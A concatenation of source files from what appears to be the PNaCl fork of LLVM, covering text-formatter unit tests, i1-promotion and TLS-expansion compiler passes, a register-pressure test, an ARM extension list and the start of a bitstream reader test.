EXPECT_EQ(
"10 + f(g(a, b), abcdef + gh1196 + z(), 53267 * \n"
" 1234 + 567, why(is, this, so, hard, to, do), g\n"
" (a, b), abcdef + gh1196 + z(), 53267 * 1234 + \n"
" 567 * somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 50, false, false));
// Show layout with linewidth 40
EXPECT_EQ(
"10 + \n"
" f(g(a, b), abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567, \n"
" why(is, this, so, hard, to, do), \n"
" g(a, b), abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567 * somemorestuff\n"
" ) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 40, true, true));
EXPECT_EQ(
"10 + f(g(a, b), abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567, why(is, this,\n"
" so, hard, to, do), g\n"
" (a, b), abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567 * \n"
" somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 40, true, false));
EXPECT_EQ(
"10 + \n"
" f(g(a, b), abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567, \n"
" why(is, this, so, hard, to, do), \n"
" g(a, b), abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567 * somemorestuff) \n"
" + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 40, false, true));
EXPECT_EQ(
"10 + f(g(a, b), abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567, why(is, this, so\n"
" , hard, to, do), g(a, b), abcdef + \n"
" gh1196 + z(), 53267 * 1234 + 567 * \n"
" somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 40, false, false));
// Show layout with linewidth 30
EXPECT_EQ(
"10 + \n"
" f(g(a, b), \n"
" abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567, \n"
" why(is, this, so, hard, \n"
" to, do), g(a, b), \n"
" abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567 * \n"
" somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 30, true, true));
EXPECT_EQ(
"10 + f(g(a, b), abcdef + \n"
" gh1196 + z(), 53267 * \n"
" 1234 + 567, why(is, \n"
" this, so, hard, to, \n"
" do), g(a, b), abcdef\n"
" + gh1196 + z(), 53267 *\n"
" 1234 + 567 * \n"
" somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 30, true, false));
EXPECT_EQ(
"10 + \n"
" f(g(a, b), \n"
" abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567, \n"
" why(is, this, so, hard, \n"
" to, do), g(a, b), \n"
" abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567 * \n"
" somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 30, false, true));
EXPECT_EQ(
"10 + f(g(a, b), abcdef + \n"
" gh1196 + z(), 53267 * 1234\n"
" + 567, why(is, this, so, \n"
" hard, to, do), g(a, b), \n"
" abcdef + gh1196 + z(), \n"
" 53267 * 1234 + 567 * \n"
" somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 30, false, false));
// Show layout with linewidth 20. Note: Continuation indents no
// longer apply.
EXPECT_EQ(
"10 + \n"
"f(g(a, b), \n"
"abcdef + gh1196 + \n"
"z(), \n"
"53267 * 1234 + 567, \n"
"why(is, this, so, \n"
"hard, to, do), \n"
"g(a, b), \n"
"abcdef + gh1196 + \n"
"z(), \n"
"53267 * 1234 + 567 *\n"
"somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 20, true, true));
EXPECT_EQ(
"10 + f(g(a, b), \n"
"abcdef + gh1196 + z(\n"
"), 53267 * 1234 + \n"
"567, why(is, this, \n"
"so, hard, to, do), g\n"
"(a, b), abcdef + \n"
"gh1196 + z(), 53267 \n"
"* 1234 + 567 * \n"
"somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 20, true, false));
EXPECT_EQ(
"10 + \n"
"f(g(a, b), \n"
"abcdef + gh1196 + \n"
"z(), \n"
"53267 * 1234 + 567, \n"
"why(is, this, so, \n"
"hard, to, do), \n"
"g(a, b), \n"
"abcdef + gh1196 + \n"
"z(), \n"
"53267 * 1234 + 567 *\n"
"somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 20, false, true));
EXPECT_EQ(
"10 + f(g(a, b), \n"
"abcdef + gh1196 + z(\n"
"), 53267 * 1234 + \n"
"567, why(is, this, \n"
"so, hard, to, do), g\n"
"(a, b), abcdef + \n"
"gh1196 + z(), 53267 \n"
"* 1234 + 567 * \n"
"somemorestuff) + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 20, false, false));
// Show layout with linewidth 10, where some tokens ("somemorestuff")
// exceed the line width requirement.
EXPECT_EQ(
"10 + \n"
"f(g(a, b),\n"
"abcdef + \n"
"gh1196 + \n"
"z(), \n"
"53267 * \n"
"1234 + 567\n"
", \n"
"why(is, \n"
"this, so, \n"
"hard, to, \n"
"do), \n"
"g(a, b), \n"
"abcdef + \n"
"gh1196 + \n"
"z(), \n"
"53267 * \n"
"1234 + 567\n"
"* \n"
"somemorestuff\n"
") + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 10, true, true));
EXPECT_EQ(
"10 + f(g(a\n"
", b), \n"
"abcdef + \n"
"gh1196 + z\n"
"(), 53267 \n"
"* 1234 + \n"
"567, why(\n"
"is, this, \n"
"so, hard, \n"
"to, do), g\n"
"(a, b), \n"
"abcdef + \n"
"gh1196 + z\n"
"(), 53267 \n"
"* 1234 + \n"
"567 * \n"
"somemorestuff\n"
") + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 10, true, false));
EXPECT_EQ(
"10 + \n"
"f(g(a, b),\n"
"abcdef + \n"
"gh1196 + \n"
"z(), \n"
"53267 * \n"
"1234 + 567\n"
", \n"
"why(is, \n"
"this, so, \n"
"hard, to, \n"
"do), \n"
"g(a, b), \n"
"abcdef + \n"
"gh1196 + \n"
"z(), \n"
"53267 * \n"
"1234 + 567\n"
"* \n"
"somemorestuff\n"
") + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 10, false, true));
EXPECT_EQ(
"10 + f(g(a\n"
", b), \n"
"abcdef + \n"
"gh1196 + z\n"
"(), 53267 \n"
"* 1234 + \n"
"567, why(\n"
"is, this, \n"
"so, hard, \n"
"to, do), g\n"
"(a, b), \n"
"abcdef + \n"
"gh1196 + z\n"
"(), 53267 \n"
"* 1234 + \n"
"567 * \n"
"somemorestuff\n"
") + 1\n",
RunTest(Tokens, array_lengthof(Tokens), 10, false, false));
}
// Turn test case that checks if indenting works.
TEST(NaClTextFormatterTest, Indenting) {
static const char *Tokens[] = {
"354", " ", "+", " ", "foo", "(", "g", "(", "blah", ")", ",", " ",
"h", "(", ")", " ", "+", " ", "1", ")", " ", "+", " ", "10"
};
// Run with no indentation.
EXPECT_EQ(
"354 + foo(g(blah), h() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, true, true, 0));
EXPECT_EQ(
"354 + foo(g(blah), h() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, true, false, 0));
EXPECT_EQ(
"354 + foo(g(blah), h() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, false, true, 0));
EXPECT_EQ(
"354 + foo(g(blah), h() + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, false, false, 0));
// Run with one indent.
EXPECT_EQ(
" 354 + foo(g(blah), h() + 1) + \n"
" 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, true, true, 1));
EXPECT_EQ(
" 354 + foo(g(blah), h() + 1) + \n"
" 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, true, false, 1));
EXPECT_EQ(
" 354 + foo(g(blah), h() + 1) + \n"
" 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, false, true, 1));
EXPECT_EQ(
" 354 + foo(g(blah), h() + 1) + \n"
" 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, false, false, 1));
// Run with two indents.
EXPECT_EQ(
" 354 + foo(g(blah), h() + 1) \n"
" + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, true, true, 2));
EXPECT_EQ(
" 354 + foo(g(blah), h() + 1) \n"
" + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, true, false, 2));
EXPECT_EQ(
" 354 + foo(g(blah), h() + 1) \n"
" + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, false, true, 2));
EXPECT_EQ(
" 354 + foo(g(blah), h() + 1) \n"
" + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, false, false, 2));
// Run with five indents.
EXPECT_EQ(
" 354 + \n"
" foo(g(blah), h() + 1\n"
" ) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, true, true, 5));
EXPECT_EQ(
" 354 + foo(g(blah), h()\n"
" + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, true, false, 5));
EXPECT_EQ(
" 354 + \n"
" foo(g(blah), h() + 1\n"
" ) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, false, true, 5));
EXPECT_EQ(
" 354 + foo(g(blah), h()\n"
" + 1) + 10\n",
RunTest(Tokens, array_lengthof(Tokens), 32, false, false, 5));
}
}
<file_sep>/lib/Transforms/NaCl/PromoteI1Ops.cpp
//===- PromoteI1Ops.cpp - Promote various operations on the i1 type--------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass expands out various operations on the i1 type so that
// these i1 operations do not need to be supported by the PNaCl
// translator.
//
// This is similar to the PromoteIntegers pass in that it removes uses
// of an unusual-size integer type. The difference is that i1 remains
// a valid type in other operations. i1 can still be used in phi
// nodes, "select" instructions, in "sext" and "zext", and so on. In
// contrast, the integer types that PromoteIntegers removes are not
// allowed in any context by PNaCl's ABI verifier.
//
// This pass expands out the following:
//
// * i1 loads and stores.
// * All i1 comparisons and arithmetic operations, with the exception
// of "and", "or" and "xor", because these are used in practice and
// don't overflow.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/BasicBlock.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/Instructions.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
class PromoteI1Ops : public BasicBlockPass {
public:
static char ID; // Pass identification, replacement for typeid
PromoteI1Ops() : BasicBlockPass(ID) {
initializePromoteI1OpsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnBasicBlock(BasicBlock &BB);
};
}
char PromoteI1Ops::ID = 0;
INITIALIZE_PASS(PromoteI1Ops, "nacl-promote-i1-ops",
"Promote various operations on the i1 type",
false, false)
static Value *promoteValue(Value *Val, bool SignExt, Instruction *InsertPt) {
Instruction::CastOps CastType =
SignExt ? Instruction::SExt : Instruction::ZExt;
return CopyDebug(CastInst::Create(CastType, Val,
Type::getInt8Ty(Val->getContext()),
Val->getName() + ".expand_i1_val",
InsertPt), InsertPt);
}
bool PromoteI1Ops::runOnBasicBlock(BasicBlock &BB) {
bool Changed = false;
Type *I1Ty = Type::getInt1Ty(BB.getContext());
Type *I8Ty = Type::getInt8Ty(BB.getContext());
// Rewrite boolean Switch terminators:
if (SwitchInst *Switch = dyn_cast<SwitchInst>(BB.getTerminator())) {
Value *Condition = Switch->getCondition();
Type *ConditionTy = Condition->getType();
if (ConditionTy->isIntegerTy(1)) {
ConstantInt *False =
cast<ConstantInt>(ConstantInt::getFalse(ConditionTy));
ConstantInt *True =
cast<ConstantInt>(ConstantInt::getTrue(ConditionTy));
SwitchInst::CaseIt FalseCase = Switch->findCaseValue(False);
SwitchInst::CaseIt TrueCase = Switch->findCaseValue(True);
BasicBlock *FalseBlock = FalseCase.getCaseSuccessor();
BasicBlock *TrueBlock = TrueCase.getCaseSuccessor();
BasicBlock *DefaultDest = Switch->getDefaultDest();
if (TrueBlock && FalseBlock) {
// impossible destination
DefaultDest->removePredecessor(Switch->getParent());
}
if (!TrueBlock) {
TrueBlock = DefaultDest;
}
if (!FalseBlock) {
FalseBlock = DefaultDest;
}
CopyDebug(BranchInst::Create(TrueBlock, FalseBlock, Condition, Switch),
Switch);
Switch->eraseFromParent();
}
}
for (BasicBlock::iterator Iter = BB.begin(), E = BB.end(); Iter != E; ) {
Instruction *Inst = Iter++;
if (LoadInst *Load = dyn_cast<LoadInst>(Inst)) {
if (Load->getType() == I1Ty) {
Changed = true;
Value *Ptr = CopyDebug(
new BitCastInst(
Load->getPointerOperand(), I8Ty->getPointerTo(),
Load->getPointerOperand()->getName() + ".i8ptr", Load), Load);
LoadInst *NewLoad = new LoadInst(
Ptr, Load->getName() + ".pre_trunc", Load);
CopyDebug(NewLoad, Load);
CopyLoadOrStoreAttrs(NewLoad, Load);
Value *Result = CopyDebug(new TruncInst(NewLoad, I1Ty, "", Load), Load);
Result->takeName(Load);
Load->replaceAllUsesWith(Result);
Load->eraseFromParent();
}
} else if (StoreInst *Store = dyn_cast<StoreInst>(Inst)) {
if (Store->getValueOperand()->getType() == I1Ty) {
Changed = true;
Value *Ptr = CopyDebug(
new BitCastInst(
Store->getPointerOperand(), I8Ty->getPointerTo(),
Store->getPointerOperand()->getName() + ".i8ptr", Store),
Store);
Value *Val = promoteValue(Store->getValueOperand(), false, Store);
StoreInst *NewStore = new StoreInst(Val, Ptr, Store);
CopyDebug(NewStore, Store);
CopyLoadOrStoreAttrs(NewStore, Store);
Store->eraseFromParent();
}
} else if (BinaryOperator *Op = dyn_cast<BinaryOperator>(Inst)) {
if (Op->getType() == I1Ty &&
!(Op->getOpcode() == Instruction::And ||
Op->getOpcode() == Instruction::Or ||
Op->getOpcode() == Instruction::Xor)) {
Value *Arg1 = promoteValue(Op->getOperand(0), false, Op);
Value *Arg2 = promoteValue(Op->getOperand(1), false, Op);
Value *NewOp = CopyDebug(
BinaryOperator::Create(
Op->getOpcode(), Arg1, Arg2,
Op->getName() + ".pre_trunc", Op), Op);
Value *Result = CopyDebug(new TruncInst(NewOp, I1Ty, "", Op), Op);
Result->takeName(Op);
Op->replaceAllUsesWith(Result);
Op->eraseFromParent();
}
} else if (ICmpInst *Op = dyn_cast<ICmpInst>(Inst)) {
if (Op->getOperand(0)->getType() == I1Ty) {
Value *Arg1 = promoteValue(Op->getOperand(0), Op->isSigned(), Op);
Value *Arg2 = promoteValue(Op->getOperand(1), Op->isSigned(), Op);
Value *Result = CopyDebug(
new ICmpInst(Op, Op->getPredicate(), Arg1, Arg2, ""), Op);
Result->takeName(Op);
Op->replaceAllUsesWith(Result);
Op->eraseFromParent();
}
}
}
return Changed;
}
BasicBlockPass *llvm::createPromoteI1OpsPass() {
return new PromoteI1Ops();
}
<file_sep>/lib/Transforms/NaCl/ExpandTls.cpp
//===- ExpandTls.cpp - Convert TLS variables to a concrete layout----------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass expands out uses of thread-local (TLS) variables into
// more primitive operations.
//
// A reference to the address of a TLS variable is expanded into code
// which gets the current thread's thread pointer using
// @llvm.nacl.read.tp() and adds a fixed offset.
//
// This pass allocates the offsets (relative to the thread pointer)
// that will be used for TLS variables. It sets up the global
// variables __tls_template_start, __tls_template_end etc. to contain
// a template for initializing TLS variables' values for each thread.
// This is a task normally performed by the linker in ELF systems.
//
// Layout:
//
// This currently uses an x86-style layout where the TLS variables are
// placed at addresses below the thread pointer (i.e. with negative offsets
// from the thread pointer). See
// native_client/src/untrusted/nacl/tls_params.h for an explanation of
// different architectures' TLS layouts.
//
// This x86-style layout is *not* required for normal ABI-stable pexes.
//
// However, the x86-style layout is currently required for Non-SFI pexes
// that call x86 Linux syscalls directly. This is a configuration that is
// only used for testing.
//
// Before PNaCl was launched, using x86-style layout used to be required
// because there was a check in nacl_irt_thread_create() (in
// irt/irt_thread.c) that required the thread pointer to be a self-pointer
// on x86-32. That requirement was removed because it was non-portable
// (because it could cause a pexe to fail on x86 but not on ARM) -- see
// https://codereview.chromium.org/11411310.
//
//===----------------------------------------------------------------------===//
#include "ExpandTls.h"
#include <vector>
#include "llvm/Pass.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/IR/Module.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
class ExpandTls : public ModulePass {
public:
static char ID; // Pass identification, replacement for typeid
ExpandTls() : ModulePass(ID) {
initializeExpandTlsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
}
char ExpandTls::ID = 0;
INITIALIZE_PASS(ExpandTls, "nacl-expand-tls",
"Expand out TLS variables and fix TLS variable layout",
false, false)
static void setGlobalVariableValue(Module &M, const char *Name,
Constant *Value) {
if (GlobalVariable *Var = M.getNamedGlobal(Name)) {
if (Var->hasInitializer()) {
report_fatal_error(std::string("Variable ") + Name +
" already has an initializer");
}
Var->replaceAllUsesWith(ConstantExpr::getBitCast(Value, Var->getType()));
Var->eraseFromParent();
}
}
// This is similar to ConstantStruct::getAnon(), but we give a name to the
// struct type to make the IR output more readable.
static Constant *makeInitStruct(Module &M, ArrayRef<Constant *> Elements) {
SmallVector<Type *, 32> FieldTypes;
FieldTypes.reserve(Elements.size());
for (Constant *Val : Elements)
FieldTypes.push_back(Val->getType());
// We create the TLS template struct as "packed" because we insert
// alignment padding ourselves.
StructType *Ty = StructType::create(M.getContext(), FieldTypes,
"tls_init_template", /*isPacked=*/ true);
return ConstantStruct::get(Ty, Elements);
}
void llvm::buildTlsTemplate(Module &M, TlsTemplate *Result) {
std::vector<Constant*> FieldInitValues;
DataLayout DL(&M);
uint32_t CurrentOffset = 0;
uint32_t OverallAlignment = 1;
auto addVarToTlsTemplate = [&](GlobalVariable *TlsVar, bool IsBss) {
// Add alignment padding if necessary.
uint32_t VarAlignment = DL.getPreferredAlignment(TlsVar);
if ((CurrentOffset & (VarAlignment - 1)) != 0) {
uint32_t PadSize = VarAlignment - (CurrentOffset & (VarAlignment - 1));
CurrentOffset += PadSize;
if (!IsBss) {
Type *I8 = Type::getInt8Ty(M.getContext());
Type *PadType = ArrayType::get(I8, PadSize);
FieldInitValues.push_back(Constant::getNullValue(PadType));
}
}
if (OverallAlignment < VarAlignment)
OverallAlignment = VarAlignment;
TlsVarInfo Info;
Info.TlsVar = TlsVar;
Info.Offset = CurrentOffset;
Result->TlsVars.push_back(Info);
CurrentOffset += DL.getTypeAllocSize(TlsVar->getType()->getElementType());
if (!IsBss)
FieldInitValues.push_back(TlsVar->getInitializer());
};
for (GlobalVariable &GV : M.globals()) {
if (GV.isThreadLocal() && GV.hasInitializer() &&
!GV.getInitializer()->isNullValue()) {
addVarToTlsTemplate(&GV, /*IsBss=*/ false);
}
}
Result->DataSize = CurrentOffset;
// Handle zero-initialized TLS variables in a second pass, because
// these should follow non-zero-initialized TLS variables.
for (GlobalVariable &GV : M.globals()) {
if (GV.isThreadLocal() && GV.hasInitializer() &&
GV.getInitializer()->isNullValue()) {
addVarToTlsTemplate(&GV, /*IsBss=*/ true);
}
}
Result->TotalSize = CurrentOffset;
Result->Alignment = OverallAlignment;
Result->Data = makeInitStruct(M, FieldInitValues);
}
static void adjustToX86StyleLayout(TlsTemplate *Templ) {
// Add final alignment padding so that
// (struct tls_struct *) __nacl_read_tp() - 1
// gives the correct, aligned start of the TLS variables given the
// x86-style layout we are using. This requires some more bytes to
// be memset() to zero at runtime. This wastage doesn't seem
// important gives that we're not trying to optimize packing by
// reordering to put similarly-aligned variables together.
Templ->TotalSize = RoundUpToAlignment(Templ->TotalSize, Templ->Alignment);
// Adjust offsets for x86-style layout.
for (TlsVarInfo &VarInfo : Templ->TlsVars)
VarInfo.Offset -= Templ->TotalSize;
}
static void resolveTemplateVars(Module &M, TlsTemplate *Templ) {
// We define the following symbols, which are the same as those
// defined by NaCl's original customized binutils linker scripts:
// __tls_template_start
// __tls_template_tdata_end
// __tls_template_end
// We also define __tls_template_alignment, which was not defined by
// the original linker scripts.
const char *StartSymbol = "__tls_template_start";
GlobalVariable *TemplateDataVar =
new GlobalVariable(M, Templ->Data->getType(), /*isConstant=*/true,
GlobalValue::InternalLinkage, Templ->Data);
setGlobalVariableValue(M, StartSymbol, TemplateDataVar);
TemplateDataVar->setName(StartSymbol);
Type *I8 = Type::getInt8Ty(M.getContext());
Constant *TemplateAsI8 = ConstantExpr::getBitCast(TemplateDataVar,
I8->getPointerTo());
Constant *TdataEnd = ConstantExpr::getGetElementPtr(
I8, TemplateAsI8,
ConstantInt::get(M.getContext(), APInt(32, Templ->DataSize)));
setGlobalVariableValue(M, "__tls_template_tdata_end", TdataEnd);
Constant *TotalEnd = ConstantExpr::getGetElementPtr(
I8, TemplateAsI8,
ConstantInt::get(M.getContext(), APInt(32, Templ->TotalSize)));
setGlobalVariableValue(M, "__tls_template_end", TotalEnd);
const char *AlignmentSymbol = "__tls_template_alignment";
Type *i32 = Type::getInt32Ty(M.getContext());
GlobalVariable *AlignmentVar = new GlobalVariable(
M, i32, /*isConstant=*/true,
GlobalValue::InternalLinkage,
ConstantInt::get(M.getContext(), APInt(32, Templ->Alignment)));
setGlobalVariableValue(M, AlignmentSymbol, AlignmentVar);
AlignmentVar->setName(AlignmentSymbol);
}
static void rewriteTlsVars(Module &M, std::vector<TlsVarInfo> *TlsVars) {
// Set up the intrinsic that reads the thread pointer.
Function *ReadTpFunc = Intrinsic::getDeclaration(&M, Intrinsic::nacl_read_tp);
for (TlsVarInfo &VarInfo : *TlsVars) {
GlobalVariable *Var = VarInfo.TlsVar;
if (!Var->hasInitializer()) {
// Since this is a whole-program transformation, "extern" TLS variables
// are not allowed at this point.
report_fatal_error(std::string("TLS variable without an initializer: ") +
Var->getName());
}
while (!Var->use_empty()) {
Use *U = &*Var->use_begin();
Instruction *InsertPt = PhiSafeInsertPt(U);
Value *ThreadPtr = CallInst::Create(ReadTpFunc, "thread_ptr", InsertPt);
Value *IndexList[] = {
ConstantInt::get(M.getContext(), APInt(32, VarInfo.Offset))
};
Value *TlsFieldI8 = GetElementPtrInst::Create(
Type::getInt8Ty(M.getContext()),
ThreadPtr, IndexList, Var->getName() + ".i8", InsertPt);
Value *TlsField = new BitCastInst(TlsFieldI8, Var->getType(),
Var->getName(), InsertPt);
PhiSafeReplaceUses(U, TlsField);
}
Var->eraseFromParent();
}
}
static void replaceFunction(Module &M, const char *Name, Value *NewFunc) {
if (Function *Func = M.getFunction(Name)) {
if (Func->hasLocalLinkage())
return;
if (!Func->isDeclaration())
report_fatal_error(std::string("Function already defined: ") + Name);
Func->replaceAllUsesWith(NewFunc);
Func->eraseFromParent();
}
}
// Provide fixed definitions for NaCl's TLS layout functions,
// __nacl_tp_*(). We adopt the x86-style layout: ExpandTls will
// output a program that uses the x86-style layout wherever it runs.
//
// This overrides the architecture-specific definitions of
// __nacl_tp_*() that PNaCl's native support code makes available to
// non-ABI-stable code.
static void defineTlsLayoutFunctions(Module &M) {
Type *i32 = Type::getInt32Ty(M.getContext());
SmallVector<Type*, 1> ArgTypes;
ArgTypes.push_back(i32);
FunctionType *FuncType = FunctionType::get(i32, ArgTypes, /*isVarArg=*/false);
Function *NewFunc;
BasicBlock *BB;
// Define the function as follows:
// uint32_t __nacl_tp_tdb_offset(uint32_t tdb_size) {
// return 0;
// }
// This means the thread pointer points to the TDB.
NewFunc = Function::Create(FuncType, GlobalValue::InternalLinkage,
"nacl_tp_tdb_offset", &M);
BB = BasicBlock::Create(M.getContext(), "entry", NewFunc);
ReturnInst::Create(M.getContext(),
ConstantInt::get(M.getContext(), APInt(32, 0)), BB);
replaceFunction(M, "__nacl_tp_tdb_offset", NewFunc);
// Define the function as follows:
// uint32_t __nacl_tp_tls_offset(uint32_t tls_size) {
// return -tls_size;
// }
// This means the TLS variables are stored below the thread pointer.
NewFunc = Function::Create(FuncType, GlobalValue::InternalLinkage,
"nacl_tp_tls_offset", &M);
BB = BasicBlock::Create(M.getContext(), "entry", NewFunc);
Value *Arg = NewFunc->arg_begin();
Arg->setName("size");
Value *Result = BinaryOperator::CreateNeg(Arg, "result", BB);
ReturnInst::Create(M.getContext(), Result, BB);
replaceFunction(M, "__nacl_tp_tls_offset", NewFunc);
}
bool ExpandTls::runOnModule(Module &M) {
ModulePass *Pass = createExpandTlsConstantExprPass();
Pass->runOnModule(M);
delete Pass;
TlsTemplate Templ;
buildTlsTemplate(M, &Templ);
adjustToX86StyleLayout(&Templ);
resolveTemplateVars(M, &Templ);
rewriteTlsVars(M, &Templ.TlsVars);
defineTlsLayoutFunctions(M);
return true;
}
ModulePass *llvm::createExpandTlsPass() {
return new ExpandTls();
}
<file_sep>/lib/Analysis/NaCl/CMakeLists.txt
add_llvm_library(LLVMNaClAnalysis
PNaClABITypeChecker.cpp
PNaClABIProps.cpp
PNaClABIVerifyFunctions.cpp
PNaClABIVerifyModule.cpp
PNaClAllowedIntrinsics.cpp
)
add_dependencies(LLVMNaClAnalysis intrinsics_gen)
<file_sep>/test/NaCl/X86/pnacl-avoids-r11-x86-64.c
/*
Object file built using:
pnacl-clang -S -O2 -emit-llvm -o pnacl-avoids-r11-x86-64.ll \
pnacl-avoids-r11-x86-64.c
Then the comments below should be pasted into the .ll file,
replacing "RUNxxx" with "RUN".
; The NACLON test verifies that %r11 and %r11d are not used except as
; part of the return sequence.
;
; RUNxxx: pnacl-llc -O2 -mtriple=x86_64-none-nacl < %s | \
; RUNxxx: FileCheck %s --check-prefix=NACLON
;
; The NACLOFF test verifies that %r11 would normally be used if PNaCl
; weren't reserving r11 for its own uses, to be sure NACLON is a
; valid test.
;
; RUNxxx: pnacl-llc -O2 -mtriple=x86_64-linux < %s | \
; RUNxxx: FileCheck %s --check-prefix=NACLOFF
;
; NACLON: RegisterPressure:
; NACLON-NOT: %r11
; NACLON: popq %r11
; NACLON: nacljmp %r11, %r15
;
; NACLOFF: RegisterPressure:
; NACLOFF: %r11
; NACLOFF: ret
*/
// Function RegisterPressure() tries to induce maximal integer
// register pressure in a ~16 register machine, for both scratch and
// preserved registers. Repeated calls to Use() are designed to
// use all the preserved registers. The calculations on the local
// variables between function calls are designed to use all the
// scratch registers.
void RegisterPressure(void)
{
extern void Use(int, int, int, int, int, int, int, int,
int, int, int, int, int, int, int, int);
extern int GetValue(void);
extern volatile int v1a, v1b, v2a, v2b, v3a, v3b, v4a, v4b;
int i00 = GetValue();
int i01 = GetValue();
int i02 = GetValue();
int i03 = GetValue();
int i04 = GetValue();
int i05 = GetValue();
int i06 = GetValue();
int i07 = GetValue();
int i08 = GetValue();
int i09 = GetValue();
int i10 = GetValue();
int i11 = GetValue();
int i12 = GetValue();
int i13 = GetValue();
int i14 = GetValue();
int i15 = GetValue();
Use(i00, i01, i02, i03, i04, i05, i06, i07,
i08, i09, i10, i11, i12, i13, i14, i15);
Use(i00, i01, i02, i03, i04, i05, i06, i07,
i08, i09, i10, i11, i12, i13, i14, i15);
v1a = i00 + i01 + i02 + i03 + i04 + i05 + i06 + i07;
v1b = i08 + i09 + i10 + i11 + i12 + i13 + i14 + i15;
v2a = i00 + i01 + i02 + i03 + i08 + i09 + i10 + i11;
v2b = i04 + i05 + i06 + i07 + i12 + i13 + i14 + i15;
v3a = i00 + i01 + i04 + i05 + i08 + i09 + i12 + i13;
v3b = i02 + i03 + i06 + i07 + i10 + i11 + i14 + i15;
v4a = i00 + i02 + i04 + i06 + i08 + i10 + i12 + i14;
v4b = i01 + i03 + i05 + i07 + i09 + i11 + i13 + i15;
Use(i00, i01, i02, i03, i04, i05, i06, i07,
i08, i09, i10, i11, i12, i13, i14, i15);
Use(i00, i01, i02, i03, i04, i05, i06, i07,
i08, i09, i10, i11, i12, i13, i14, i15);
}
<file_sep>/lib/Target/ARM/ARMArchExtName.def
//===-- ARMArchExtName.def - List of the ARM Extension names ----*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file contains the list of the supported ARM Architecture Extension
// names. These can be used to enable the extension through .arch_extension
// attribute
//
//===----------------------------------------------------------------------===//
// NOTE: NO INCLUDE GUARD DESIRED!
#ifndef ARM_ARCHEXT_NAME
#error "You must define ARM_ARCHEXT_NAME(NAME, ID) before including ARMArchExtName.h"
#endif
ARM_ARCHEXT_NAME("crc", CRC)
ARM_ARCHEXT_NAME("crypto", CRYPTO)
ARM_ARCHEXT_NAME("fp", FP)
ARM_ARCHEXT_NAME("idiv", HWDIV)
ARM_ARCHEXT_NAME("mp", MP)
ARM_ARCHEXT_NAME("sec", SEC)
ARM_ARCHEXT_NAME("virt", VIRT)
#undef ARM_ARCHEXT_NAME
<file_sep>/unittests/Bitcode/NaClBitstreamReaderTest.cpp
//===- llvm/unittest/Bitcode/NaClBitstreamReaderTest.cpp ------------------===//
// Tests issues in NaCl Bitstream Reader.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Tests issues in NaCl Bitstream Reader.
// TODO(kschimpf) Add more Tests.
#include "llvm/Bitcode/NaCl/NaClBitstreamReader.h"
#include "gtest/gtest.h"
using namespace llvm;
namespace {
static const uint64_t BitZero = 0;
// Initializes array to sequence of alternating zeros/ones.
void* InitAltOnes(uint8_t *Array, size_t ArraySize) {
for (size_t i = 0; i <ArraySize; ++i) {
Array[i] = 0x9;
}
return Array;
}
